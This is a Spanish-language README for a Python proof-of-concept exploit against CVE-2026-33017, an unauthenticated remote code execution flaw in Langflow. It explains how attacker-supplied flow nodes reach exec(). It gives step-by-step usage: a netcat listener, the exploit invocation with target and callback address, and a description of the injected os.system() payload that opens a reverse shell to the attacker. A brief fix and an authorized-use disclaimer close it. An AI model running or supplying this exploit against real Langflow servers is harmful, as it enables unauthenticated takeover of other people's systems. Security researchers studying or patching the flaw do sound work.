
Exploit de prueba de concepto en Python para CVE-2026-33017, una vulnerabilidad de ejecución remota de código no autenticada en Langflow. Entrega una reverse shell mediante la inyección de nodos de flujo maliciosos.
⚠️ AVISO: Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. Úselo solo en sistemas de su propiedad o para los que tenga permiso explícito. El autor no se hace responsable del mal uso o daños causados por esta herramienta.
CVE-2026-33017 es una vulnerabilidad de ejecución remota de código no autenticada en Langflow, un marco visual para construir aplicaciones de LangChain.
El endpoint POST /api/v1/build_public_tmp/{flow_id}/flow permite construir flujos públicos sin autenticación. Cuando se suministra el parámetro opcional data, el endpoint utiliza datos de flujo controlados por el atacante (que contienen código Python arbitrario en las definiciones de nodos) en lugar de los datos de flujo almacenados en la base de datos. Este código se pasa a exec() sin ningún tipo de sandboxing, lo que produce una ejecución remota de código no autenticada.
client_id (cualquier valor de cadena arbitrario)git clone https://github.com/<tu-usuario>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
En su máquina atacante, inicie un netcat listener para capturar la reverse shell:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <TU_IP> --lport 4444
| Argumento | Obligatorio | Descripción |
|---|---|---|
--url | Sí | URL objetivo (ej. http://localhost:7860) |
--flow-id | Sí | UUID del flujo público |
--lhost | Sí | Dirección IP de su listener |
--lport | Sí | Puerto de su listener |
--timeout | No | Tiempo de espera de la solicitud en segundos (por defecto: 15) |
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Disparar el exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Construye un nodo malicioso de Langflow que contiene un CustomComponent con código Python controlado por el atacante. El código incluye una llamada a os.system() de nivel superior que se ejecuta durante la construcción del grafo (antes de que el flujo siquiera se "ejecute").
fire_payload() — Envía el nodo malicioso como JSON al endpoint no autenticado build_public_tmp con una cookie client_id aleatoria.
Ejecución de código — El servidor analiza los datos de flujo proporcionados por el atacante, instancia el componente personalizado y llama a exec() sobre el código incrustado durante prepare_global_scope(). La asignación de nivel superior _r = __import__('os').system(...) desencadena la ejecución del comando de inmediato.
Reverse shell — El payload genera una reverse shell en Python que se conecta de vuelta a su listener.
El endpoint build_public_tmp está diseñado para no requerir autenticación (para flujos públicos), pero acepta incorrectamente datos de flujo proporcionados por el atacante a través del parámetro data. Cuando se proporciona data, omite los datos de flujo almacenados y pasa nodos controlados por el atacante directamente al constructor del grafo.
Elimine el parámetro data de build_public_tmp. Los flujos públicos solo deben ejecutar sus datos de flujo almacenados en la base de datos, nunca datos proporcionados por el atacante.
Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.